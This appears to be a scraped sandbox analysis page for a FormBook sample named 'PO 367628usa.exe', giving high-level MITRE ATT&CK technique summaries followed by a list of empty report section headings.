Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report PO 367628usa.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers